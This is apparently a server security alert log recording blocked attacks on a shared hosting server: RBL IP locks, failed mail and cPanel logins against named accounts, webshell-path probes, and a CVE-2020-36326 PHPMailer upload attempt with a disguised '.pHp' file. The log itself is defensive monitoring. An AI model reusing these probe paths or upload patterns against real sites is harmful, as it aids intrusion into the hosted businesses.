Jan 20 19:59:26 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.28.19 has been locked due to Imunify RBL


plugin: modsec
rule: 77625152
name: IM360 WAF: Object Injection in PHPMailer library in WordPress 3.7 to 5.7.1 (CVE-2020-36326)
abuser: 158.220.122.128
country_id: 3017382
domain: inter-link.edu.my
description:
IM360 WAF: Object Injection in PHPMailer library in WordPress 3.7 to 5.7.1 (CVE-2020-36326)||Action:cfom_upload_file||MV:38FV2hmYFQtCT9sIvzduGW1kkML.pHp||MVN:ARGS:name||WPU:||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.40
country_id: 2921044
description:
Jan 20 20:04:46 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.40 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 20 20:05:53 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.96
country_id: 3175395
description:
Jan 20 20:06:53 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.96 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.96
country_id: 3175395
description:
Jan 20 20:07:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.96 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.108.233.190
country_id: 1835841
description:
Jan 20 20:07:53 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.108.233.190 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.108.233.190
country_id: 1835841
description:
2026-01-20 20:07:55 dovecot_login authenticator failed for H=([106.10.69.50]) [183.108.233.190]:60341: 535 Incorrect authentication data (set_id=zahari@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.246.238
country_id: 1814991
description:
2026-01-20 20:08:29 dovecot_login authenticator failed for H=([218.21.246.238]) [218.21.246.238]:53090: 535 Incorrect authentication data (set_id=zahari@essemgroup.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.21.246.238
country_id: 1814991
description:
Jan 20 20:08:27 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.21.246.238 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.152.142.235
country_id: 1210997
domain: ds-staffing.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ds-staffing.com/js/main.js HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/question-some-questions-about-on-line-information/images/sliders/cdn-cgi/l/login.php||SC:/home/sutsbcom/public_html/question-some-questions-about-on-line-information||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.20.243.53
country_id: 1210997
domain: ds-staffing.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ds-staffing.com/css/lity.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 147.235.195.17
country_id: 294640
domain: ds-staffing.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ds-staffing.com/js/jquery.counterup.min.js HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.96.249.203
country_id: 1522867
domain: ds-staffing.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ds-staffing.com/css/font-awesome/css/font-awesome.min.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.131.145.249
country_id: 1210997
domain: ds-staffing.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ds-staffing.com/js/jquery.min.js HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.181.37.57
country_id: 1562822
domain: ds-staffing.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ds-staffing.com/js/ionicons.js HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.91.157.96
country_id: 1522867
domain: ds-staffing.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ds-staffing.com/css/slick-theme.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.159.116.69
country_id: 2542007
domain: ds-staffing.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ds-staffing.com/style.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 92.71.75.1
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:20-13.92.71.75.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 106.222.250.82
country_id: 1269750
domain: ds-staffing.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ds-staffing.com/css/slick.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 79.134.37.66
country_id: 1522867
domain: ds-staffing.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ds-staffing.com/css/animate.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 91.73.6.132
country_id: 290557
domain: ds-staffing.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ds-staffing.com/js/wow.js HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 109.163.128.6
country_id: 3277605
domain: ds-staffing.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ds-staffing.com/js/bootstrap.min.js HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 152.59.184.236
country_id: 1269750
domain: ds-staffing.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ds-staffing.com/js/isotope.pkgd.min.js HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.166.207.149
country_id: 3469034
domain: ds-staffing.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ds-staffing.com/js/jquery-1.12.4.min.js HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 95.159.102.211
country_id: 99237
domain: ds-staffing.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ds-staffing.com/js/map.js HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.32.33.28
country_id: 3469034
domain: ds-staffing.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ds-staffing.com/js/waypoints.min.js HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 85.193.114.96
country_id: 1522867
domain: ds-staffing.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ds-staffing.com/js/slick.min.js HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.40.188.146
country_id: 953987
domain: ds-staffing.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ds-staffing.com/css/simple-line-icons.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.129.216.116
country_id: 3865483
domain: ds-staffing.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ds-staffing.com/unpkg.com/ionicons@4.4.4/dist/css/ionicons.min.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.6.169.7
country_id: 3932488
domain: ds-staffing.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ds-staffing.com/js/jquery-migrate-1.2.1.min.js HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.232.147.89
country_id: 3686110
domain: ds-staffing.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ds-staffing.com/css/responsive.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.185.162.104
country_id: 953987
domain: ds-staffing.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ds-staffing.com/css/responsive-2.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.176.46.114
country_id: 1562822
domain: ds-staffing.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ds-staffing.com/fonts/ioniconsd30c.woff?v=4.4.3 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.131.178.49
country_id: 3469034
domain: ds-staffing.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ds-staffing.com/js/lity.js HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.27.237.205
country_id: 3469034
domain: ds-staffing.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ds-staffing.com/js/tether.min.js HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.31.226.144
country_id: 3469034
domain: ds-staffing.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ds-staffing.com/css/bootstrap.min.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.28.65.122
country_id: 3923057
domain: ds-staffing.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ds-staffing.com/css/normalize.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.129.81.6
country_id: 2260494
domain: ds-staffing.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ds-staffing.com/js/script.js HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.166.87.250
country_id: 3469034
domain: ds-staffing.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ds-staffing.com/js/popper.min.js HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 78.111.33.68
country_id: 286963
domain: ds-staffing.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ds-staffing.com/js/ionicons/ionicons.3brfwxfm.js HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.226.208.234
country_id: 3996063
domain: ds-staffing.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ds-staffing.com/css/custom-animate.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.7.219.54
country_id: 3469034
domain: ds-staffing.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ds-staffing.com/js/slider.js HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.77.55.22
country_id: 99237
domain: ds-staffing.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ds-staffing.com/js/jquery.barfiller.js HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 143.105.253.133
country_id: 933860
domain: ds-staffing.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ds-staffing.com/css/font-awesome/fonts/fontawesome-webfont3e6e.woff2?v=4.7.0 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.84.172.13
country_id: 3437598
domain: ds-staffing.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ds-staffing.com/css/ionicons.min.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.116.43.214
country_id: 3865483
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/var-dumper/Caster/XmlResourceCaster.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 20 20:18:26 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.213.49.14
country_id: 192950
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/translation/Tests/fixtures/empty.mo HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.41
country_id: 2921044
description:
Jan 20 20:19:51 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.41 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.54.22.11
country_id: 1835841
description:
Jan 20 20:20:18 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.54.22.11 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.54.22.11
country_id: 1835841
description:
2026-01-20 20:20:20 dovecot_login authenticator failed for H=([14.54.22.11]) [14.54.22.11]:7062: 535 Incorrect authentication data (set_id=info@astlog.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 92.55.172.107
country_id: 1522867
domain: masaakisb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/masaakisb.com/products/maasaki-mudball/ HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.146.28.230
country_id: 2017370
description:
2026-01-20 20:24:30 dovecot_login authenticator failed for H=(host91-146-28-230.etth.mark-itt.net) [91.146.28.230]:58556: 535 Incorrect authentication data (set_id=aniza@mckd.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.216
country_id: 1880251
domain: mail.fkr.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/asia/images/events.php||SC:/home2/fkrcom/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 20 20:27:38 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/about-sinaran-utama-teknologi/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/faq.php||SC:/home/sutsbcom/public_html/about-sinaran-utama-teknologi||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 194.35.113.129
country_id: 2017370
domain: fkr.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:20-28.194.35.113.129||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/languages/images/sliders/images/sliders/news.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/images/home/about.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/images/druma/video.php||SC:/home/indfinitydesign/public_html/images/druma||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.196.52.107
country_id: 1269750
description:
Jan 20 20:35:42 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.196.52.107 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.196.52.107
country_id: 1269750
description:
2026-01-20 20:35:44 dovecot_login authenticator failed for H=([112.196.52.107]) [112.196.52.107]:52965: 535 Incorrect authentication data (set_id=aniza@mckd.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-20 20:36:40 H=([45.144.212.242]) [45.144.212.242]:57172 F=<no_reply@admin.com> rejected RCPT <inquiries@ktlog.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.22
country_id: 241170
description:
Jan 20 20:38:22 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.22 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 20 20:40:15 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.42.209.0
country_id: 2077456
domain: mail.ms-chemicals.net
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home2/mschemic/public_html/wp-admin/images/admin.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/services/transportation-radioactive-materials/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/login.php||SC:/home/sutsbcom/public_html/services||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/images/druma/about.php||SC:/home/indfinitydesign/public_html/images/druma||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-20 20:49:11 H=([45.144.212.242]) [45.144.212.242]:53086 F=<no_reply@admin.com> rejected RCPT <julie@nobledec.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 20 20:49:28 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 46.151.182.48
country_id: 2750405
description:
2026-01-20 20:49:38 H=([46.151.182.48]) [46.151.182.48]:61047 F=<operation2@fasterget.com.my> rejected RCPT <operation2@fasterget.com.my>: smtp auth required


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/about-us/images/sliders/cdn-cgi/l/cdn-cgi/l/index.php||SC:/home/sutsbcom/public_html/about-us||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-20 20:50:23 H=([45.144.212.242]) [45.144.212.242]:62554 F=<no_reply@admin.com> rejected RCPT <enquiry@smartcable.com.my>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.12.204.114
country_id: 3865483
domain: www.mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mssa.org.my/site/index.php?option=com_phocagallery&view=category&id=6:competency-challenges-for-the-future-industry-a-future-fast-forward-by-prof-shahir-liew&Itemid=151 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-20 20:51:32 H=([45.144.212.242]) [45.144.212.242]:52149 F=<no_reply@admin.com> rejected RCPT <info@oxbold.com>: Sender verify failed


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/faq.php||SC:/home/sutsbcom/public_html/images||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/images/cdn-cgi/l/Personal_Dosimetry_Service.php||SC:/home/sutsbcom/public_html/images||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.244.146.70
country_id: 99237
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/phpoffice/phpexcel/Classes/PHPExcel/locale/no HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.98.39.113
country_id: 2542007
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/phpoffice/phpexcel/Classes/PHPExcel/locale/no/ HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.169.108.3
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/beachbear/19/24/1926556 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 54.37.131.169
country_id: 3017382
description:
[2026-01-20 21:01:06 +0800] info [cpaneld] 54.37.131.169 - dscexpat "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 20 21:02:07 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.198
country_id: 130758
description:
Jan 20 21:02:38 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.198 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.198
country_id: 130758
description:
2026-01-20 21:02:40 dovecot_login authenticator failed for H=(localhost) [62.60.130.198]:62662: 535 Incorrect authentication data (set_id=medicos)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.22
country_id: 241170
description:
Jan 20 21:07:06 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.22 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 66.154.106.19
country_id: 6252001
description:
Jan 20 21:09:41 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 66.154.106.19 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 66.154.106.19
country_id: 6252001
description:
2026-01-20 21:09:43 dovecot_plain authenticator failed for H=(pseass) [66.154.106.19]:43936: 535 Incorrect authentication data (set_id=info@tujusetia.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 20 21:11:17 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 57.128.245.99
country_id: 798544
description:
Jan 20 21:13:40 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 57.128.245.99 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 57.128.245.99
country_id: 798544
description:
2026-01-20 21:13:42 dovecot_plain authenticator failed for H=vps-76f33a45.vps.ovh.net (croplating) [57.128.245.99]:57182: 535 Incorrect authentication data (set_id=sales@tujusetia.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.253.159.88
country_id: 732800
description:
Jan 20 21:13:49 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.253.159.88 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.253.159.88
country_id: 732800
description:
